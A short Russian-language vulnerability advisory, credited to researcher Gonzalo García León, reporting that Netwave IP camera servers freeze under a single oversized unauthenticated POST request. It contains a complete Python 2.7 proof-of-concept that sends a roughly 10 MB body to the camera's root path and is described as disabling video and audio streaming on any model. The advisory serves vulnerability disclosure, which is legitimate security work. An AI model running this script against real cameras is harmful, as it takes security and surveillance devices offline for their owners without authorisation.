Сервер IP-камер Netwave уязвим для неаутентифицированного отказа в обслуживании через один огромный POST-запрос на любой прошивке.

0. Введение:

В ходе исследования безопасности IoT были обнаружены некоторые уязвимости у разных производителей IP-камер. Netwave IP Camera — это сервер IP-камеры, который позволяет просматривать видео с камеры и управлять камерой. IP-камеры используются особенно для физической безопасности и целей контроля, поэтому их доступность критически важна.

1. Отказ в обслуживании:

Любую IP-камеру Netwave можно вывести из строя, просто отправив огромный POST-запрос на её корневой путь. После отправки запроса устройство зависает и прекращает потоковую передачу аудио и видео.

Проверка концепции: Запустите следующий скрипт Python 2.7 против любой IP-камеры NetWave — она мгновенно перестанет отвечать и передавать видео/аудио.

import string
import httplib
import urllib2

host = "CAMERA_IP"
port = 80
params='A'*9999999 # Huge body

headers = { 
"Host": host + ':' + str(port),
"Connection": "keep-alive",
"Content-Length": 9999999,
}

url = "/"

conn = httplib.HTTPConnection(host,port=port)
conn.request("POST",url,params,headers)
response = conn.getresponse()
data = response.read()
print data

2. Исследователь:

Gonzalo García León